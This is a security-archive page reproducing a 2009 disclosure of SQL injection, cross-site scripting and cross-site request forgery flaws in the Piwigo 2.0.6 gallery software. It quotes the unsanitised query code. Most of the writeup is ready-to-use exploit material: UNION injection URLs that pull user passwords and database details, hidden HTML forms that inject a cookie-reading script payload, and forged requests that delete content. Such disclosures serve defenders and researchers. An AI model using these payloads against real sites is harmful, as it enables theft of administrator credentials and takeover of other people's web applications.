what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Piwigo 2.0.6 SQL Injection / Cross Site Scripting

Piwigo 2.0.6 SQL Injection / Cross Site Scripting
Posted Dec 13, 2009
Authored by mr_me

Piwigo version 2.0.6 suffers from remote SQL injection, cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
SHA-256 | 7c72c76c16aa2ff272df3138d054b4fa79cd33247ef20496da1fc0296c5d2d0b

Piwigo 2.0.6 SQL Injection / Cross Site Scripting

Change Mirror Download
#################################################################
#
# Piwigo v2.0.6 Multiple Vulnerabilities
# Found By: mr_me
# Download: http://piwigo.org/
# Tested On: Windows Vista
# Note: For educational purposes only
# Vulnerabilities: XSS, CSRF, SQL Injection
# Author contact date: 13/12/09
#
#################################################################

Note: There is possibly many other vulnerabilities but I need to sleep!

XSS Vulnerabilities:

When creating a "category" or a "tag" in the admin panel the user can submit javascript code that could be executed in the context of the browser.
This would not be significant as only the administrator can complete this functionalility, however this can be combined with CSRF for proper exploitation. (see below)

SQL Injection Vulnerabilities:

Note: This app uses "mysql_fetch_array()" which also details the full web root path when a SQL error is created.

Warning</b>: mysql_fetch_array() expects parameter 1 to be resource, boolean given in <b>C:\xampp\htdocs\piwigo-2.0.6\include\functions.inc.php</b> on line <b>936

The parent_id and image_id and unsanitized however image_id does not seem exploitable. Also when updating an image in the caddie there is a post back that has some possibly exploitable variables "associate", "dissociate" and "selection[]". Below is the vulnerable code for parent_id in cat_list.php

8<------------------------------------snip------------------------------------8<

else
{
$query.= '
WHERE id_uppercat = '.$_GET['parent_id'];
}

8<------------------------------------snip------------------------------------8<

exploit:

8<------------------------------------snip------------------------------------8<

http://[server]/piwigo-2.0.6/admin.php?page=cat_list&parent_id=-6+union+select+1,password,3,4,5,6+from+piwigo.piwigo_users--
http://[server]/piwigo-2.0.6/admin.php?page=cat_list&parent_id=-6+union+select+1,concat(0x1e,0x1e,version(),0x1e,user(),0x1e,database(),0x1e,0x20),3,4,5,6--

8<------------------------------------snip------------------------------------8<

http://127.0.0.1/piwigo-2.0.6/admin.php?page=picture_modify&cat_id=7&image_id=1'

[mysql error 1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 3

CSRF vulnerabilities:

There are some very nice CSRF's in the admin panel. First of all when creating tags for the tag cloud and also creating a category.
So if we combine these CSRF's with XSS then we can login to the admin panel and execute SQL Injection :)

exploit:

8<------------------------------------snip------------------------------------8<

<form action="http://[server]/piwigo-2.0.6/admin.php?page=tags" method="post">
<fieldset>
<label>
<input type="hidden" value="<script>alert(document.cookie)</script>" name="add_tag" />
</label>
<p><input class="submit" type="submit" name="add" value="Submit" /></p>
</fieldset>
</form>

or

<form id="addVirtual" action="http://[server]/piwigo-2.0.6/admin.php?page=cat_list" method="post">
<input type="hidden" name="virtual_name" value="<script>alert(document.cookie)</script>" />
<input class="submit" type="submit" value="Submit" name="submitAdd" />
</form>

or

http://[server]/piwigo-2.0.6/admin.php?page=cat_list&delete=1
http://[server]/piwigo-2.0.6/admin.php?page=plugins_new&order=date&revision=1364&extension=234
http://[server]/piwigo-2.0.6/comments.php?delete=2

8<------------------------------------snip------------------------------------8<

Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close